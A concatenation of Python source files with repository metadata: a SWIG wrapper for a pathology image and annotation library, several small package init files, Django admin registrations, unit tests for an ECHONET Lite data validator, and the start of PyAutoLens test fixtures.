_multiresolutionimageinterface.AnnotationList_getGroups(self) def setAnnotations(self, annotations: 'vector_annotation') -> "void": return _multiresolutionimageinterface.AnnotationList_setAnnotations(self, annotations) def setGroups(self, groups: 'vector_annotation_group') -> "void": return _multiresolutionimageinterface.AnnotationList_setGroups(self, groups) def removeGroup(self, *args) -> "void": return _multiresolutionimageinterface.AnnotationList_removeGroup(self, *args) def removeAnnotation(self, *args) -> "void": return _multiresolutionimageinterface.AnnotationList_removeAnnotation(self, *args) def removeAllAnnotations(self) -> "void": return _multiresolutionimageinterface.AnnotationList_removeAllAnnotations(self) def removeAllGroups(self) -> "void": return _multiresolutionimageinterface.AnnotationList_removeAllGroups(self) AnnotationList_swigregister = _multiresolutionimageinterface.AnnotationList_swigregister AnnotationList_swigregister(AnnotationList) class AnnotationService(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, AnnotationService, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, AnnotationService, name) __repr__ = _swig_repr def __init__(self): this = _multiresolutionimageinterface.new_AnnotationService() try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _multiresolutionimageinterface.delete_AnnotationService __del__ = lambda self: None def getList(self) -> "std::shared_ptr< AnnotationList >": return _multiresolutionimageinterface.AnnotationService_getList(self) def getRepository(self) -> "std::shared_ptr< Repository >": return _multiresolutionimageinterface.AnnotationService_getRepository(self) def loadRepositoryFromFile(self, source: 'std::string const &') -> "bool": return _multiresolutionimageinterface.AnnotationService_loadRepositoryFromFile(self, source) def saveRepositoryToFile(self, source: 'std::string const &') -> "bool": return _multiresolutionimageinterface.AnnotationService_saveRepositoryToFile(self, source) AnnotationService_swigregister = _multiresolutionimageinterface.AnnotationService_swigregister AnnotationService_swigregister(AnnotationService) class AnnotationToMask(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, AnnotationToMask, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, AnnotationToMask, name) __repr__ = _swig_repr def convert(self, *args) -> "void": return _multiresolutionimageinterface.AnnotationToMask_convert(self, *args) def setProgressMonitor(self, monitor: 'ProgressMonitor *') -> "void": return _multiresolutionimageinterface.AnnotationToMask_setProgressMonitor(self, monitor) def __init__(self): this = _multiresolutionimageinterface.new_AnnotationToMask() try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _multiresolutionimageinterface.delete_AnnotationToMask __del__ = lambda self: None AnnotationToMask_swigregister = _multiresolutionimageinterface.AnnotationToMask_swigregister AnnotationToMask_swigregister(AnnotationToMask) class Repository(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, Repository, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, Repository, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined - class is abstract") __repr__ = _swig_repr __swig_destroy__ = _multiresolutionimageinterface.delete_Repository __del__ = lambda self: None def setSource(self, sourcePath: 'std::string const &') -> "void": return _multiresolutionimageinterface.Repository_setSource(self, sourcePath) def load(self) -> "bool": return _multiresolutionimageinterface.Repository_load(self) def save(self) -> "bool": return _multiresolutionimageinterface.Repository_save(self) Repository_swigregister = _multiresolutionimageinterface.Repository_swigregister Repository_swigregister(Repository) class XmlRepository(Repository): __swig_setmethods__ = {} for _s in [Repository]: __swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {})) __setattr__ = lambda self, name, value: _swig_setattr(self, XmlRepository, name, value) __swig_getmethods__ = {} for _s in [Repository]: __swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {})) __getattr__ = lambda self, name: _swig_getattr(self, XmlRepository, name) __repr__ = _swig_repr def __init__(self, list: 'std::shared_ptr< AnnotationList > const &'): this = _multiresolutionimageinterface.new_XmlRepository(list) try: self.this.append(this) except __builtin__.Exception: self.this = this def save(self) -> "bool": return _multiresolutionimageinterface.XmlRepository_save(self) __swig_destroy__ = _multiresolutionimageinterface.delete_XmlRepository __del__ = lambda self: None XmlRepository_swigregister = _multiresolutionimageinterface.XmlRepository_swigregister XmlRepository_swigregister(XmlRepository) class NDPARepository(Repository): __swig_setmethods__ = {} for _s in [Repository]: __swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {})) __setattr__ = lambda self, name, value: _swig_setattr(self, NDPARepository, name, value) __swig_getmethods__ = {} for _s in [Repository]: __swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {})) __getattr__ = lambda self, name: _swig_getattr(self, NDPARepository, name) __repr__ = _swig_repr def __init__(self, list: 'std::shared_ptr< AnnotationList > const &'): this = _multiresolutionimageinterface.new_NDPARepository(list) try: self.this.append(this) except __builtin__.Exception: self.this = this def setNDPISourceFile(self, ndpiSourcefile: 'std::string const &') -> "void": return _multiresolutionimageinterface.NDPARepository_setNDPISourceFile(self, ndpiSourcefile) def NDPISourceFile(self) -> "std::string": return _multiresolutionimageinterface.NDPARepository_NDPISourceFile(self) def save(self) -> "bool": return _multiresolutionimageinterface.NDPARepository_save(self) __swig_destroy__ = _multiresolutionimageinterface.delete_NDPARepository __del__ = lambda self: None NDPARepository_swigregister = _multiresolutionimageinterface.NDPARepository_swigregister NDPARepository_swigregister(NDPARepository) class ImageScopeRepository(Repository): __swig_setmethods__ = {} for _s in [Repository]: __swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {})) __setattr__ = lambda self, name, value: _swig_setattr(self, ImageScopeRepository, name, value) __swig_getmethods__ = {} for _s in [Repository]: __swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {})) __getattr__ = lambda self, name: _swig_getattr(self, ImageScopeRepository, name) __repr__ = _swig_repr def __init__(self, list: 'std::shared_ptr< AnnotationList > const &'): this = _multiresolutionimageinterface.new_ImageScopeRepository(list) try: self.this.append(this) except __builtin__.Exception: self.this = this def save(self) -> "bool": return _multiresolutionimageinterface.ImageScopeRepository_save(self) def setClosingDistance(self, closingDistance: 'float const &') -> "void": return _multiresolutionimageinterface.ImageScopeRepository_setClosingDistance(self, closingDistance) def getClosingDistance(self) -> "float": return _multiresolutionimageinterface.ImageScopeRepository_getClosingDistance(self) __swig_destroy__ = _multiresolutionimageinterface.delete_ImageScopeRepository __del__ = lambda self: None ImageScopeRepository_swigregister = _multiresolutionimageinterface.ImageScopeRepository_swigregister ImageScopeRepository_swigregister(ImageScopeRepository) class MultiResolutionImage(ImageSource): __swig_setmethods__ = {} for _s in [ImageSource]: __swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {})) __setattr__ = lambda self, name, value: _swig_setattr(self, MultiResolutionImage, name, value) __swig_getmethods__ = {} for _s in [ImageSource]: __swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {})) __getattr__ = lambda self, name: _swig_getattr(self, MultiResolutionImage, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined - class is abstract") __repr__ = _swig_repr __swig_destroy__ = _multiresolutionimageinterface.delete_MultiResolutionImage __del__ = lambda self: None def initialize(self, imagePath: 'std::string const &') -> "bool": return _multiresolutionimageinterface.MultiResolutionImage_initialize(self, imagePath) def initializeType(self, imagePath: 'std::string const &') -> "bool": return _multiresolutionimageinterface.MultiResolutionImage_initializeType(self, imagePath) def getNumberOfZPlanes(self) -> "int": return _multiresolutionimageinterface.MultiResolutionImage_getNumberOfZPlanes(self) def setCurrentZPlaneIndex(self, zPlaneIndex: 'unsigned int const &') -> "void": return _multiresolutionimageinterface.MultiResolutionImage_setCurrentZPlaneIndex(self, zPlaneIndex) def getCurrentZPlaneIndex(self) -> "unsigned int": return _multiresolutionimageinterface.MultiResolutionImage_getCurrentZPlaneIndex(self) def getProperty(self, propertyName: 'std::string const &') -> "std::string": return _multiresolutionimageinterface.MultiResolutionImage_getProperty(self, propertyName) def getCacheSize(self) -> "unsigned long long const": return _multiresolutionimageinterface.MultiResolutionImage_getCacheSize(self) def setCacheSize(self, cacheSize: 'unsigned long long const') -> "void": return _multiresolutionimageinterface.MultiResolutionImage_setCacheSize(self, cacheSize) def getNumberOfLevels(self) -> "int const": return _multiresolutionimageinterface.MultiResolutionImage_getNumberOfLevels(self) def getDimensions(self) -> "std::vector< unsigned long long,std::allocator< unsigned long long > > const": return _multiresolutionimageinterface.MultiResolutionImage_getDimensions(self) def getLevelDimensions(self, level: 'unsigned int const &') -> "std::vector< unsigned long long,std::allocator< unsigned long long > > const": return _multiresolutionimageinterface.MultiResolutionImage_getLevelDimensions(self, level) def getLevelDownsample(self, level: 'unsigned int const &') -> "double const": return _multiresolutionimageinterface.MultiResolutionImage_getLevelDownsample(self, level) def getBestLevelForDownSample(self, downsample: 'double const &') -> "int const": return _multiresolutionimageinterface.MultiResolutionImage_getBestLevelForDownSample(self, downsample) def getMinValue(self, channel: 'int'=-1) -> "double": return _multiresolutionimageinterface.MultiResolutionImage_getMinValue(self, channel) def getMaxValue(self, channel: 'int'=-1) -> "double": return _multiresolutionimageinterface.MultiResolutionImage_getMaxValue(self, channel) def getFileType(self) -> "std::string const": return _multiresolutionimageinterface.MultiResolutionImage_getFileType(self) def close(self) -> "void": return _multiresolutionimageinterface.MultiResolutionImage_close(self) def getUCharPatch(self, startX: 'long long const &', startY: 'long long const &', width: 'unsigned long long const &', height: 'unsigned long long const &', level: 'unsigned int const &') -> "PyObject *": return _multiresolutionimageinterface.MultiResolutionImage_getUCharPatch(self, startX, startY, width, height, level) def getUInt16Patch(self, startX: 'long long const &', startY: 'long long const &', width: 'unsigned long long const &', height: 'unsigned long long const &', level: 'unsigned int const &') -> "PyObject *": return _multiresolutionimageinterface.MultiResolutionImage_getUInt16Patch(self, startX, startY, width, height, level) def getUInt32Patch(self, startX: 'long long const &', startY: 'long long const &', width: 'unsigned long long const &', height: 'unsigned long long const &', level: 'unsigned int const &') -> "PyObject *": return _multiresolutionimageinterface.MultiResolutionImage_getUInt32Patch(self, startX, startY, width, height, level) def getFloatPatch(self, startX: 'long long const &', startY: 'long long const &', width: 'unsigned long long const &', height: 'unsigned long long const &', level: 'unsigned int const &') -> "PyObject *": return _multiresolutionimageinterface.MultiResolutionImage_getFloatPatch(self, startX, startY, width, height, level) MultiResolutionImage_swigregister = _multiresolutionimageinterface.MultiResolutionImage_swigregister MultiResolutionImage_swigregister(MultiResolutionImage) class TIFFImage(MultiResolutionImage): __swig_setmethods__ = {} for _s in [MultiResolutionImage]: __swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {})) __setattr__ = lambda self, name, value: _swig_setattr(self, TIFFImage, name, value) __swig_getmethods__ = {} for _s in [MultiResolutionImage]: __swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {})) __getattr__ = lambda self, name: _swig_getattr(self, TIFFImage, name) __repr__ = _swig_repr def __init__(self): this = _multiresolutionimageinterface.new_TIFFImage() try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _multiresolutionimageinterface.delete_TIFFImage __del__ = lambda self: None def initializeType(self, imagePath: 'std::string const &') -> "bool": return _multiresolutionimageinterface.TIFFImage_initializeType(self, imagePath) def getMinValue(self, channel: 'int'=-1) -> "double": return _multiresolutionimageinterface.TIFFImage_getMinValue(self, channel) def getMaxValue(self, channel: 'int'=-1) -> "double": return _multiresolutionimageinterface.TIFFImage_getMaxValue(self, channel) def getEncodedTileSize(self, startX: 'long long const &', startY: 'long long const &', level: 'unsigned int const &') -> "long long": return _multiresolutionimageinterface.TIFFImage_getEncodedTileSize(self, startX, startY, level) def readEncodedDataFromImage(self, startX: 'long long const &', startY: 'long long const &', level: 'unsigned int const &') -> "unsigned char *": return _multiresolutionimageinterface.TIFFImage_readEncodedDataFromImage(self, startX, startY, level) def getEncodedTile(self, startX: 'long long const &', startY: 'long long const &', level: 'unsigned int const &') -> "PyObject *": return _multiresolutionimageinterface.TIFFImage_getEncodedTile(self, startX, startY, level) TIFFImage_swigregister = _multiresolutionimageinterface.TIFFImage_swigregister TIFFImage_swigregister(TIFFImage) def MultiResolutionImageToTIFFImage(base: 'std::shared_ptr< MultiResolutionImage >') -> "std::shared_ptr< TIFFImage >": return _multiresolutionimageinterface.MultiResolutionImageToTIFFImage(base) MultiResolutionImageToTIFFImage = _multiresolutionimageinterface.MultiResolutionImageToTIFFImage class MultiResolutionImageReader(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, MultiResolutionImageReader, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, MultiResolutionImageReader, name) __repr__ = _swig_repr def __init__(self): this = _multiresolutionimageinterface.new_MultiResolutionImageReader() try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _multiresolutionimageinterface.delete_MultiResolutionImageReader __del__ = lambda self: None def open(self, *args) -> "MultiResolutionImage *": return _multiresolutionimageinterface.MultiResolutionImageReader_open(self, *args) MultiResolutionImageReader_swigregister = _multiresolutionimageinterface.MultiResolutionImageReader_swigregister MultiResolutionImageReader_swigregister(MultiResolutionImageReader) class MultiResolutionImageWriter(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, MultiResolutionImageWriter, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, MultiResolutionImageWriter, name) __repr__ = _swig_repr def __init__(self): this = _multiresolutionimageinterface.new_MultiResolutionImageWriter() try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _multiresolutionimageinterface.delete_MultiResolutionImageWriter __del__ = lambda self: None def openFile(self, fileName: 'std::string const &') -> "int": return _multiresolutionimageinterface.MultiResolutionImageWriter_openFile(self, fileName) def getOpenFile(self) -> "std::string const": return _multiresolutionimageinterface.MultiResolutionImageWriter_getOpenFile(self) def writeImageInformation(self, sizeX: 'unsigned long long const &', sizeY: 'unsigned long long const &') -> "int": return _multiresolutionimageinterface.MultiResolutionImageWriter_writeImageInformation(self, sizeX, sizeY) def writeBaseImagePart(self, data: 'void *') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_writeBaseImagePart(self, data) def writeBaseImagePartToLocation(self, data: 'void *', x: 'unsigned long long const &', y: 'unsigned long long const &') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_writeBaseImagePartToLocation(self, data, x, y) def writeImageToFile(self, img: 'MultiResolutionImage', fileName: 'std::string const &') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_writeImageToFile(self, img, fileName) def finishImage(self) -> "int": return _multiresolutionimageinterface.MultiResolutionImageWriter_finishImage(self) def setCompression(self, codec: 'pathology::Compression const &') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_setCompression(self, codec) def getCompression(self) -> "pathology::Compression const": return _multiresolutionimageinterface.MultiResolutionImageWriter_getCompression(self) def setInterpolation(self, interpolation: 'pathology::Interpolation const &') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_setInterpolation(self, interpolation) def getInterpolation(self) -> "pathology::Interpolation const": return _multiresolutionimageinterface.MultiResolutionImageWriter_getInterpolation(self) def setDataType(self, dType: 'pathology::DataType const &') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_setDataType(self, dType) def getDataType(self) -> "pathology::DataType const": return _multiresolutionimageinterface.MultiResolutionImageWriter_getDataType(self) def setColorType(self, cType: 'pathology::ColorType const &') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_setColorType(self, cType) def setNumberOfIndexedColors(self, numberOfIndexedColors: 'unsigned int const') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_setNumberOfIndexedColors(self, numberOfIndexedColors) def getNumberOfIndexedColors(self) -> "unsigned int": return _multiresolutionimageinterface.MultiResolutionImageWriter_getNumberOfIndexedColors(self) def getColorType(self) -> "pathology::ColorType const": return _multiresolutionimageinterface.MultiResolutionImageWriter_getColorType(self) def setTileSize(self, tileSize: 'unsigned int const &') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_setTileSize(self, tileSize) def setSpacing(self, spacing: 'vector_double') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_setSpacing(self, spacing) def getTileSize(self) -> "unsigned int const": return _multiresolutionimageinterface.MultiResolutionImageWriter_getTileSize(self) def getOverrideSpacing(self) -> "std::vector< double,std::allocator< double > > const": return _multiresolutionimageinterface.MultiResolutionImageWriter_getOverrideSpacing(self) def setOverrideSpacing(self, spacing: 'vector_double') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_setOverrideSpacing(self, spacing) def setJPEGQuality(self, quality: 'float const &') -> "int const": return _multiresolutionimageinterface.MultiResolutionImageWriter_setJPEGQuality(self, quality) def getJPEGQuality(self) -> "float const": return _multiresolutionimageinterface.MultiResolutionImageWriter_getJPEGQuality(self) def setProgressMonitor(self, monitor: 'ProgressMonitor *') -> "void": return _multiresolutionimageinterface.MultiResolutionImageWriter_setProgressMonitor(self, monitor) MultiResolutionImageWriter_swigregister = _multiresolutionimageinterface.MultiResolutionImageWriter_swigregister MultiResolutionImageWriter_swigregister(MultiResolutionImageWriter) # This file is compatible with both classic and new-style classes.

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null

0

1

0

1

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6

42b05f423895c54452abf8e36684d252b7b279df

54

py

Python

nlplingo/oregon/event_models/uoregon/models/pipeline/_01/modules/__init__.py

BBN-E/nlplingo

32ff17b1320937faa3d3ebe727032f4b3e7a353d

[ "Apache-2.0" ]

3

2020-10-22T13:28:00.000Z

2022-03-24T19:57:22.000Z

nlplingo/oregon/event_models/uoregon/models/pipeline/_01/modules/__init__.py

BBN-E/nlplingo

32ff17b1320937faa3d3ebe727032f4b3e7a353d

[ "Apache-2.0" ]

null

nlplingo/oregon/event_models/uoregon/models/pipeline/_01/modules/__init__.py

BBN-E/nlplingo

32ff17b1320937faa3d3ebe727032f4b3e7a353d

[ "Apache-2.0" ]

1

2020-10-22T13:29:51.000Z

from .ED_model import * from .argument_model import *

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1

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6

c40f808e2f15eb788e59ae7ec4e21d91cd7db9b3

46

py

Python

defx/metrics/__init__.py

DFKI-NLP/defx

0c8b7a5ff4904a54e28f187b938198744e4a450a

[ "MIT" ]

5

2020-04-29T07:41:58.000Z

2021-12-09T10:07:08.000Z

defx/metrics/__init__.py

DFKI-NLP/defx

0c8b7a5ff4904a54e28f187b938198744e4a450a

[ "MIT" ]

1

2020-10-17T16:51:06.000Z

2020-10-27T13:44:35.000Z

defx/metrics/__init__.py

DFKI-NLP/defx

0c8b7a5ff4904a54e28f187b938198744e4a450a

[ "MIT" ]

null

from defx.metrics.f1_measure import F1Measure

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c431c34ca406edcae46c45602a9989f594043857

291

py

Python

ansible-devel/test/units/utils/collection_loader/fixtures/collections/ansible_collections/testns/testcoll/plugins/module_utils/my_util.py

satishcarya/ansible

ed091e174c26316f621ac16344a95c99f56bdc43

[ "MIT" ]

null

ansible-devel/test/units/utils/collection_loader/fixtures/collections/ansible_collections/testns/testcoll/plugins/module_utils/my_util.py

satishcarya/ansible

ed091e174c26316f621ac16344a95c99f56bdc43

[ "MIT" ]

null

ansible-devel/test/units/utils/collection_loader/fixtures/collections/ansible_collections/testns/testcoll/plugins/module_utils/my_util.py

satishcarya/ansible

ed091e174c26316f621ac16344a95c99f56bdc43

[ "MIT" ]

null

# WARNING: Changing line numbers of code in this file will break collection tests that use tracing to check paths and line numbers. # Also, do not import division from __future__ as this will break detection of __future__ inheritance on Python 2. def question(): return 3 / 2

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null

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6

c438898ba3153bcc7954a555139d3a8a2f69b83d

144

py

Python

scripts/update_db.py

pmbarrett314/mtg-skeleton-generator

ea1d70ce523516dc4c0d67932012f225cf62c59c

[ "MIT" ]

null

scripts/update_db.py

pmbarrett314/mtg-skeleton-generator

ea1d70ce523516dc4c0d67932012f225cf62c59c

[ "MIT" ]

null

scripts/update_db.py

pmbarrett314/mtg-skeleton-generator

ea1d70ce523516dc4c0d67932012f225cf62c59c

[ "MIT" ]

null

from context import mtg_skeleton_gen from mtg_skeleton_gen.mtg_db import db_file, update_db if __name__ == "__main__": update_db(db_file)

20.571429

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6

675bea785d93ef1dd70db1e9f6d8bcd59faa1a39

214

py

Python

imacs_app/admin.py

pnmadelaine/imacs

9a5203cfe98e0af8368d442f6bcf9941689b0155

[ "MIT" ]

null

imacs_app/admin.py

pnmadelaine/imacs

9a5203cfe98e0af8368d442f6bcf9941689b0155

[ "MIT" ]

1

2022-02-28T23:22:37.000Z

2022-03-13T16:12:31.000Z

imacs_app/admin.py

pnmadelaine/imacs

9a5203cfe98e0af8368d442f6bcf9941689b0155

[ "MIT" ]

2

2021-10-31T22:55:46.000Z

2022-02-27T09:55:57.000Z

from django.contrib import admin from .models import TaskList, TaskCategory, Task, TaskDone admin.site.register(TaskList) admin.site.register(TaskCategory) admin.site.register(Task) admin.site.register(TaskDone)

23.777778

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null

0

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1

0

6

e1dbdd93faf9167684505dfad64957c5785d26c2

123

py

Python

hypothesize/__init__.py

bwettimz/hypothesize

56d75ade8cd2341542a770d05ebead3eef45d363

[ "BSD-3-Clause" ]

26

2020-08-20T04:27:27.000Z

2022-02-25T02:50:32.000Z

hypothesize/__init__.py

bwettimz/hypothesize

56d75ade8cd2341542a770d05ebead3eef45d363

[ "BSD-3-Clause" ]

9

2020-03-04T21:34:22.000Z

2021-11-25T20:11:46.000Z

hypothesize/__init__.py

bwettimz/hypothesize

56d75ade8cd2341542a770d05ebead3eef45d363

[ "BSD-3-Clause" ]

2

2020-10-09T03:43:15.000Z

2021-11-30T11:44:30.000Z

from hypothesize import compare_groups_with_single_factor, measuring_associations, \ compare_groups_with_two_factors

24.6

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6

c02e3c98b6ec9c39a55f4789e1c6c2fa32bd8f2e

4,108

py

Python

script/validator/tests.py

sowd/ECHONETLite-ObjectDatabase

be7b2ac6c5ef12b15e6100aa0091905d608b58b8

[ "CC0-1.0" ]

6

2015-04-23T03:51:42.000Z

2021-09-14T03:29:46.000Z

script/validator/tests.py

sowd/ECHONETLite-ObjectDatabase

be7b2ac6c5ef12b15e6100aa0091905d608b58b8

[ "CC0-1.0" ]

2

2015-12-25T00:13:26.000Z

2016-04-13T23:01:25.000Z

script/validator/tests.py

sowd/ECHONETLite-ObjectDatabase

be7b2ac6c5ef12b15e6100aa0091905d608b58b8

[ "CC0-1.0" ]

5

2015-12-10T04:33:35.000Z

2022-01-18T15:14:13.000Z

#/usr/bin/env python #coding:utf-8 from validator import * import unittest class ValidatorIsValidBytesString(unittest.TestCase): def test_1(self): self.assertFalse(Validator.is_valid_bytes_string("0")) def test_2(self): self.assertFalse(Validator.is_valid_bytes_string("0x")) def test_3(self): self.assertFalse(Validator.is_valid_bytes_string("0x8")) def test_4(self): self.assertTrue(Validator.is_valid_bytes_string("0x80")) def test_5(self): self.assertFalse(Validator.is_valid_bytes_string("0x800")) def test_first_1(self): self.assertFalse(Validator.is_valid_bytes_string("0a00")) def test_first_2(self): self.assertTrue(Validator.is_valid_bytes_string("0x80")) def test_hex_00(self): self.assertTrue(Validator.is_valid_bytes_string("0x00")) def test_hex_aa(self): self.assertTrue(Validator.is_valid_bytes_string("0xaa")) def test_hex_Aa(self): self.assertTrue(Validator.is_valid_bytes_string("0xAa")) def test_hex_AA(self): self.assertTrue(Validator.is_valid_bytes_string("0xAA")) def test_hex_N0(self): self.assertFalse(Validator.is_valid_bytes_string("0xN0")) def test_hex_0N(self): self.assertFalse(Validator.is_valid_bytes_string("0x0N")) class ValidatorCheckHeader(unittest.TestCase): def test_checkheader_same(self): self.assertTrue(Validator.check_header([1,2,3],[1,2,3])) def test_checkheader_1(self): self.assertTrue(Validator.check_header([1,2,3],[1,2,3,4])) def test_checkheader_2(self): self.assertFalse(Validator.check_header([1,2,3,4],[1,2,3])) class ValidatorIsValidUnitString(unittest.TestCase): pass class ValidatorIsValidDataSize(unittest.TestCase): def test_decimal1(self): self.assertTrue(Validator.is_valid_data_size("0")) def test_decimal2(self): self.assertTrue(Validator.is_valid_data_size("10")) def test_real(self): self.assertFalse(Validator.is_valid_data_size("1.0")) def test_hex1(self): self.assertFalse(Validator.is_valid_data_size("A")) def test_hex2(self): self.assertFalse(Validator.is_valid_data_size("0A")) def test_max1(self): self.assertFalse(Validator.is_valid_data_size("<=")) def test_max2(self): self.assertTrue(Validator.is_valid_data_size("<= 1")) def test_max3(self): self.assertFalse(Validator.is_valid_data_size("<= 1 2")) def test_or1(self): self.assertFalse(Validator.is_valid_data_size("or")) def test_or2(self): self.assertFalse(Validator.is_valid_data_size("or 1")) def test_or3(self): self.assertTrue(Validator.is_valid_data_size("or 1 2")) def test_or4(self): self.assertTrue(Validator.is_valid_data_size("or 1 2 3")) def test_or5(self): self.assertFalse(Validator.is_valid_data_size("or 1 2a")) class ValidatorIsValidAccessRule(unittest.TestCase): def test_mandatory(self): self.assertTrue(Validator.is_valid_access_rule("mandatory")) def test_optional(self): self.assertTrue(Validator.is_valid_access_rule("optional")) def test_(self): self.assertTrue(Validator.is_valid_access_rule("-")) def test_none(self): self.assertFalse(Validator.is_valid_access_rule("none")) class ValidatorIsValidAnnouncement(unittest.TestCase): def test_mandatory(self): self.assertTrue(Validator.is_valid_announcement("mandatory")) def test_optional(self): self.assertFalse(Validator.is_valid_announcement("optional")) def test_(self): self.assertTrue(Validator.is_valid_announcement("-")) def test_none(self): self.assertFalse(Validator.is_valid_announcement("none")) class ValidatorIsValidText(unittest.TestCase): def test_null(self): self.assertTrue(Validator.is_valid_text("")) def test_enter(self): self.assertTrue(Validator.is_valid_text("\n")) def test_x000a(self): self.assertFalse(Validator.is_valid_text("_x000a_")) if __name__ == "__main__": unittest.main()

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fbf3270cebbd586fbcef3449db1464221c390e3d

41,553

py

Python

test/lens/util/test_lens_fit_stack_util.py

AshKelly/PyAutoLens

043795966338a655339e61782253ad67cc3c14e6

[ "MIT" ]

null

test/lens/util/test_lens_fit_stack_util.py

AshKelly/PyAutoLens

043795966338a655339e61782253ad67cc3c14e6

[ "MIT" ]

null

test/lens/util/test_lens_fit_stack_util.py

AshKelly/PyAutoLens

043795966338a655339e61782253ad67cc3c14e6

[ "MIT" ]

null

import numpy as np import pytest from autolens.data.array import scaled_array from autolens.data.array import mask as msk from autolens.data.array import grids from autolens.data import ccd as im, convolution from autolens.model.profiles import light_profiles as lp from autolens.model.profiles import mass_profiles as mp from autolens.lens.util import lens_fit_stack_util as stack_util from autolens.lens.stack import ray_tracing_stack from autolens.model.inversion import pixelizations as pix from autolens.model.inversion import regularization as reg from autolens.model.galaxy import galaxy as g @pytest.fixture(name='mask_0') def make_mask_0(): return msk.Mask(array=np.array([[True, True, True, True], [True, False, False, True], [True, False, False, True], [True, True, True, True]]), pixel_scale=1.0) @pytest.fixture(name='mask_1') def make_mask_1(): return msk.Mask(array=np.array([[True, True, True, True], [True, False, False, True], [True, True, False, True], [True, True, True, True]]), pixel_scale=1.0) @pytest.fixture(name='blurring_mask_0') def make_blurring_mask_0(): return msk.Mask(array=np.array([[False, False, False, False], [False, True, True, False], [False, True, True, False], [False, False, False, False]]), pixel_scale=1.0) @pytest.fixture(name='blurring_mask_1') def make_blurring_mask_1(): return msk.Mask(array=np.array([[False, False, False, False], [False, True, True, False], [False, True, False, False], [False, False, False, True]]), pixel_scale=1.0) @pytest.fixture(name='convolver_no_blur_0') def make_convolver_no_blur_0(mask_0, blurring_mask_0): psf = np.array([[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]]) return convolution.ConvolverImage(mask=mask_0, blurring_mask=blurring_mask_0, psf=psf) @pytest.fixture(name='convolver_no_blur_1') def make_convolver_no_blur_1(mask_1, blurring_mask_1): psf = np.array([[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]]) return convolution.ConvolverImage(mask=mask_1, blurring_mask=blurring_mask_1, psf=psf) @pytest.fixture(name='convolver_blur_0') def make_convolver_blur_0(mask_0, blurring_mask_0): psf = np.array([[1.0, 1.0, 1.0], [1.0, 1.0, 1.0], [1.0, 1.0, 1.0]]) return convolution.ConvolverImage(mask=mask_0, blurring_mask=blurring_mask_0, psf=psf) @pytest.fixture(name='convolver_blur_1') def make_convolver_blur_1(mask_1, blurring_mask_1): psf = np.array([[1.0, 1.0, 1.0], [1.0, 1.0, 1.0], [1.0, 1.0, 1.0]]) return convolution.ConvolverImage(mask=mask_1, blurring_mask=blurring_mask_1, psf=psf) @pytest.fixture(name="galaxy_light") def make_galaxy_light(): return g.Galaxy(light_profile=lp.EllipticalSersic(centre=(0.1, 0.1), axis_ratio=1.0, phi=0.0, intensity=1.0, effective_radius=0.6, sersic_index=4.0)) class MapArrays1D: def test__two_1d_arrays_in__mapped_2d_arrays_out(self, mask_0, mask_1): array_1d_0 = np.array([1.0, 2.0, 3.0, 4.0]) regular_grid_0 = grids.RegularGrid.from_mask(mask=mask_0) array_1d_1 = np.array([5.0, 6.0, 7.0]) regular_grid_1 = grids.RegularGrid.from_mask(mask=mask_1) arrays_2d = stack_util.map_arrays_1d_to_scaled_arrays(arrays_1d=[array_1d_0, array_1d_1], map_to_scaled_arrays=[regular_grid_0.scaled_array_from_array_1d, regular_grid_1.scaled_array_from_array_1d]) assert (arrays_2d[0] == np.array([[0.0, 0.0, 0.0, 0.0], [0.0, 1.0, 2.0, 0.0], [0.0, 3.0, 4.0, 0.0], [0.0, 0.0, 0.0, 0.0]])).all() assert (arrays_2d[1] == np.array([[0.0, 0.0, 0.0, 0.0], [0.0, 5.0, 6.0, 0.0], [0.0, 7.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0]])).all() class TestBlurredImages: def test__2x2_image_all_1s__3x3__psf_central_1__no_blurring(self, convolver_no_blur_0, convolver_blur_0): image_1d_0 = np.array([1.0, 1.0, 1.0, 1.0]) blurring_image_1d_0 = np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]) image_1d_1 = 